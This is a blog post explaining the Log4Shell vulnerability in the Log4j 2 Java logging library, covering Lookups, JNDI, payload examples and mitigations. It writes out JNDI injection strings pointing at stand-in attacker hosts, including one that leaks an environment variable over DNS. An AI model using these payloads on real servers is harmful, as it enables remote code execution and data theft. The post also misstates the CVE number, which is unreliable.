If you haven’t been living under a rock for the past few hours, you’ll know that last Friday a critical vulnerability in the Log4j 2 package, a massively used Java log library, started to go viral.
This vulnerability, dubbed Log4Shell and discovered by Chen Zhaojun (software engineer at Alibaba), has been assigned the CVE CVE-2021-4428, with a CVSS of 10.0.
Although by now there is tons of public information about it, let’s give a few hints about it.
The actors
Log4j 2: the Lookup plugin
As we have already mentioned, Log4j 2 is a log library for Java applications used by developers to log application information. Using it is as simple as including something like log.debug(“Test message”); in the code, which will generate a log entry. Often, the information that is logged is related to the application itself and its execution context.
One of the capabilities of the library, called Lookups, is the ability to use variables when writing to the log, which will be replaced by the corresponding value, with a specific syntax: ${variable}. For example, if we use ${java:runtime}, when the application logs, it will record the Java runtime version.
The problem is that these substitutions are not only set at the level of the Log4j configuration file, which makes sense and is an aspect under the control of the developer, but Log4j itself performs the substitutions in real time on the information it receives, and over which it has no control.
In other words, if the application is programmed to record the username when it detects a failed login attempt, entering the string “${java:runtime}” in the “user” field of the authentication page will cause Log4j 2 to interpret it and the application’s log will show the Java runtime version, not the string “${java:runtime}“, which would seem to be the obvious thing to do.
JNDI
On the other hand, we have JNDI, an acronym for Java Naming and Directory Interface, which is “a Java abstraction layer for directory services just as Java Database Connectivity (JDBC) is an abstraction layer for databases. JNDI is used most often with the Lightweight Directory Access Protocol (LDAP)” [IBM].
For example, using JNDI it is possible to access an LDAP server to retrieve information about a given object. We don’t need much more detail here
Lookup + JNDI = problem
When we join both things is when the problem comes, because one of the variables that this Lookup functionality interprets is the connection to an LDAP server through JNDI, using the string ${jndi:ldap://website.com}.
Thus, if in the “user” field of the authentication page, instead of the string “${java:runtime}“, the string “${jndi:ldap://attacker.com/meh}” is entered, the Log4J 2 application will parse the string and establish an LDAP connection to attacker.com to obtain the “meh” object.
The specific attack is slightly more complex, but basically, the end result is that Log4j 2 ends up running a java class controlled by the owners of atacante.com.
Below is a diagram from GovCERT.ch that explains it very clearly, and includes applicable mitigation measures:
A complementary attack being carried out to identify vulnerable servers, leveraging the same “functionality”, is the connection to a DNS server controlled by the attacker. In this case it is also possible to indicate some environment variable in the URL by taking advantage of the use of nested variables. Although the impact is not the same as that of RCE, it can potentially bypass some of the protection measures and provide information to the attacker.
For example, if the attacker controls the DNS “dnsattacker.com” by entering the string “${jndi:ldap://user-${env:USERNAME}.dnsattacker.com/}“, the log of the malicious DNS server will detect a resolution attempt containing the user’s identifier.
What to do
One of the main problems with this vulnerability is the massive use of Log4j 2, which means that the first action to take is to identify which systems are using it.
Once identified, the mitigating actions, indicated in the Apache advisory, are:
- For versions >=2.10, set the log4j2.formatMsgNoLookups property or the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true.
- For versions >=2.7 and <=2.14.1, modify the layout of each log pattern to change %m to %m{nolookups} in the log configuration files.
- For versions >=2.0-beta9 and <=2.10.0, the mitigation action is to remove the JndiLookup class from the directory: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Additionally, while identifying vulnerable systems, it will be necessary to monitor external connections, limit Internet access in cases where it is not strictly necessary and analyze logs for IOCs.
More information can be obtained from the references below.
References
- Apache Log4j Security: https://logging.apache.org/log4j/2.x/security.html
- CCN-CERT: https://www.ccn-cert.cni.es/seguridad-al-dia/alertas-ccn-cert/11435-ccn-cert-al-09-21-vulnerabilidad-en-apache-log4j-2.html
- GovCERT.ch: https://govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/
- Security Boulevard: https://securityboulevard.com/2021/12/log4shell-jndi-injection-via-attackable-log4j/
- Mogwai Labs: https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/
- Sophos: https://nakedsecurity.sophos.com/2021/12/13/log4shell-explained-how-it-works-why-you-need-to-know-and-how-to-fix-it/
- LunaSec.io: https://www.lunasec.io/docs/blog/log4j-zero-day/
- A journey from jndi/ldap manipulation to remote code execution dream land (BlackHat 2016): https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf